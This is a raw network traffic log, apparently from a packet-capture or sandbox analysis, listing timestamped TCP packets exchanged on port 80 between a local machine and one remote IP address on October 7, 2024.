Oct 7, 2024 17:22:06.870140076 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870155096 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870155096 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870157003 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870171070 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870186090 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870187998 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870187998 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870203972 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870203972 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870220900 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870223045 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870235920 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870256901 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870256901 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870294094 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870552063 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870567083 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870582104 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870593071 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870598078 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870613098 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870618105 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870618105 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870630026 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870632887 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870645046 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870646000 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870671034 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870682001 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870682001 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870685101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870699883 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870714903 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870718002 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870718002 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870729923 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870735884 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870744944 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870757103 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870757103 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870759964 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870774984 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870779037 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870790958 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870795012 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870815039 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870829105 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870829105 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870832920 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870847940 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870862961 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870870113 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870870113 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870878935 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870894909 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870908976 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870923996 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870924950 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870924950 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870939016 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870944977 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870954990 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870961905 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870978117 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.870978117 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.870994091 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871009111 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871016026 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871016026 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871026039 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871032953 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871045113 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871059895 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871062040 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871062040 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871074915 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871083021 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871090889 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871097088 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871107101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871109962 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871124983 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871125937 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871140003 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871157885 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871160984 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871161938 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871174097 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871186018 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871190071 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871205091 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871207952 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871208906 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871220112 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871223927 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871233940 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871238947 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871248960 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871263981 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871272087 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871272087 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871282101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871296883 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871299028 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871311903 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871326923 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871335030 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871335030 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871342897 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871357918 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871371984 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871373892 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871395111 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871404886 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871423960 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871423960 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871438980 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871457100 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871529102 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871529102 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871551991 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871613979 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871613979 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871643066 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871659040 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871675014 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871690035 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871700048 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871700048 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871706009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871721983 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871726990 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871726990 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871737003 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871748924 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871748924 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871752977 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871767998 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871773958 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871792078 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871805906 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871807098 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871808052 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871824026 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871830940 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871830940 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871841908 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871859074 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871860981 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871860981 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871875048 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871891022 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871895075 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871895075 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871907949 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871912003 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871925116 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871926069 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871941090 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871948004 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871957064 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871964931 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871978998 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.871984959 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.871994972 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872009993 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872018099 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872019053 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872025967 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872041941 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872047901 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872047901 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872059107 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872075081 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872078896 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872078896 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872092009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872107029 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872112989 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872112989 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872123957 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872140884 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872142076 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872142076 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872155905 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872167110 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872167110 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872174978 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872189999 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872196913 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872198105 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872198105 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872206926 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872221947 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872237921 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872241020 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872255087 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872260094 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872260094 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872270107 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872270107 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872286081 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872287989 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872303009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872318983 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872319937 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872318983 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872339010 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872342110 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872359037 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872375965 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872495890 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872803926 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872818947 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872832060 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872848034 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872857094 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872857094 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872864008 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872874022 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872879028 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872895002 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872903109 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872903109 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872910023 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872915983 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872925043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872940063 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872947931 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872947931 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872963905 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872965097 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872980118 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872994900 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.872997046 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.872997046 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873009920 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873025894 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873034954 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873034954 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873040915 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873055935 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873055935 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873056889 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873071909 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873078108 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873087883 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873107910 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873107910 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873111010 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873122931 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873127937 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873142958 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873157978 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873157978 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873157978 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873173952 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873173952 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873188972 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873189926 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873205900 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873220921 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873230934 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873230934 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873236895 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873246908 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873251915 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873265982 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873274088 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873274088 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873281002 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873296976 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873303890 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873303890 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873311996 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873320103 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873327971 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873343945 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873347044 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873347044 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873358965 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873366117 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873374939 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873380899 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873390913 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873394966 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873406887 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873411894 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873420954 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873424053 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873436928 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873451948 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873457909 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873459101 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873467922 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873473883 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873483896 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.873487949 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873521090 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873521090 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.873692989 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.874090910 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.874653101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.874667883 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.874681950 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.874691010 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.874697924 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.874708891 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.874716043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.874727011 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.874732018 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.874741077 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.874747038 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.874756098 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.874761105 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.874769926 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.874775887 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.874787092 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.874790907 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.874802113 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.874802113 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.874814034 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.874828100 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.874842882 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.874849081 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.874849081 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.874859095 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.874872923 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.874880075 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.874880075 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.874888897 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.874893904 CEST	49704	80	192.168.2.5	46.8.231.109
